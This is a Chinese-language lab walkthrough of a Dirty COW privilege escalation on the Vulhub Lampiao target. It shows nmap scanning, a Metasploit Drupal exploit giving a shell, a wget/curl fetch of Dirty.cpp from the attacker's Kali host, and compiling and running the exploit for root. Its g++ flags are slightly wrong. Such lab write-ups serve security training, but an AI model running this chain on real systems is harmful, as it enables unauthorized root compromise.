Linux系统提权

Linux系统提权

主题:脏牛漏洞提权

环境准备:靶场:Vulhub Lampiao(脏牛漏洞),Ubuntu-19.04-desktop-amd64.iso(用于sudo命令提权测试)

目标:目前只拥有Linux主机的普通用户权限,如何才能够获得系统root权限

脏牛漏洞的概念:它是一种存在于linux操作系统中的本地提权漏洞,共分为1.0和2.0的版本,当Linux系统内核版本高于4.8以上时,使用脏牛2.0版本;当Linux系统内核版本低于4.8时,则使用1.0版本。

那它的原理又是怎样的?

当一个进程正在尝试修改其映射的只读内存页面时,另一个进程也在同时访问此页面。在这样的情况下内核可能会出现一种"竞争条件",这种条件导致两个进程都能看到对方的修改,甚至可能覆盖对方的数据。这就为攻击者提供了机会,使其能够在没有权限限制的情况下,通过构造特殊的操作序列,使正在运行的程序以更高的权限执行命令,从而达到提权的效果。**

攻击步骤复现:

  1. 打开Vulhub Lampiao虚拟机,可以看到Linux标志性的黑窗口:
  1. 在不知晓登录账号密码的情况下,尝试信息收集查找突破口,回到Kali Linux中执行nmap命令对同网段进行ip和端口扫描:

nmap 192.168.78.0/24

根据自己的虚拟机网段查看主机ip: 192.168.78.1为物理机ip,192.168.78.130为kali linux虚拟机ip,可疑的只有192.168.78.142这台。接下来就可以针对这台主机进行全端口扫描:

nmap -p- 192.168.78.142

  1. 可以看到全端口扫描能够扫出普通扫描扫不出的端口,注意这边有一个1898端口是open状态。尝试打开浏览器访问192.168.78.142:1898

这边出现一个登录窗口,可以往CMS架构方向突破,那接下来该寻找哪些关键信息?滚动到页面最底处,看到Power By Drupal,可以断定该网站就是Drupal的架构。

  1. 利用msfconsole漏洞框架利用工具控制台,搜索Drupal的有关漏洞利用信息:

Name列包含auxiliary的代表是检测漏洞模块,exploit则是实际攻击模块,在此选择一个较新的攻击模块:

msf6 > use 1

show options

每次攻击前需要确认所有Required = Yes处的选项设置,这里需要设置目标靶机的ip和端口,刚才的信息收集中得到ip=192.168.78.142,port=1898。

set RHOSTS 192.168.78.142

set RPORT 1898

show options

设置完成后再次确认选项是否就绪:

run

运行后发现会话已经建立:

meterpreter > shell

Process 2364 created.

Channel 0 created.

这个时候其实已经通过msf连入了目标靶机服务器的shell了,我们可以通过python语句呼出交互式终端:

python -c 'import pty; pty.spawn("/bin/bash")'

  1. 查看Linux内核命令版本,选择对应的脏牛版本:

这里是4.4的版本,那我们使用脏牛1.0版本进行提权。

到这一步,我们的目标是把本地的Dirty.cpp文件上传到目标靶机上去。有一个问题,那就是不能直接从物理主机(windows)上传文件到目标靶机,它们之间没有任何联络,原因是我并不知道Ubuntu靶机的root账号密码,无法启动ssh随即通过XFTP共享文件。 但是物理主机和Kali Linux虚拟机是我可控的,因此我先把文件上传到Kali Linux的Apache网站根目录/var/www/html/,再通过msf已建立的shell会话使用wget下载到靶机本地,相当于靶机向Kali Linux请求下载文件。

wget http://192.168.78.130:80/Dirty.cpp 或者

curl http://192.168.78.130:80/Dirty.cpp -o Dirty.cpp

此时在靶机得/tmp目录下已经成功保存Dirty.cpp文件。

  1. 由于.cpp为(C/C++)语言文件,在Linux系统中需要通过编译才能运行:

g++ -wall -pedantic -O2 -std=C++11 -pthread -o dcow Dirty.cpp -lutil

编译完成后,在同目录会生成一个dcow文件,能够直接被Linux系统执行:

  1. 执行语句进行提权:

./dcow -s

成功执行,喜提root权限。

【扩展学习】脏牛2.0版本复现步骤 www.cnblogs.com/nanhe7/arti...

【复现步骤总结】

  1. 搭建靶场,信息收集ip和port;
  2. 尝试访问,进一步获得产品关键信息Drupal;
  3. 启动msfconsole,搜索关于Drupal漏洞利用信息;
  4. 设置参数,执行获得靶机shell;
  5. 查看内核版本,挑选脏牛版本,上传文件;
  6. 编译后执行,提权成功。

如果可以尽量避免使用脏牛漏洞,原因是它可能会使计算机崩溃或使其处于不稳定状态。

相关推荐
龙亘川4 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
kybs19914 天前
全球灾害数据分析可视化 毕业设计-附源码66794
vue.js·spring boot·mysql·安全·django·c#·asp.net
LorryJovens4 天前
【LAAP科研】双系统具身AGI范式研究——基于LAAP认知架构与Jev概率决策模型的系统性技术调研与范式验证
人工智能·gpt·安全·架构
其实防守也摸鱼4 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
山东科恩光电4 天前
提升安全性的关键技术:安全触边在工业自动化中的应用解析
安全
LONGZETECH4 天前
一线职教实测:风光 580 汽车故障诊断仿真系统,破解实车实训四大核心痛点
人工智能·学习·安全·架构·汽车
Mikko74 天前
jackson-databind 升到 2.21.6 就安全了吗?jackson-core 是另一个坐标,它那条 high 全局库至今没收
java·后端·安全·json
赛博守夜人4 天前
反舞弊系列之十四:商业地产与零售招商中的“转租差价与免租期寻租”
安全
xiaoqiMikko4 天前
你升的是 jackson-databind,中招的是 jackson-core:一个超长 JSON key 就能吃掉 200MB 堆
java·安全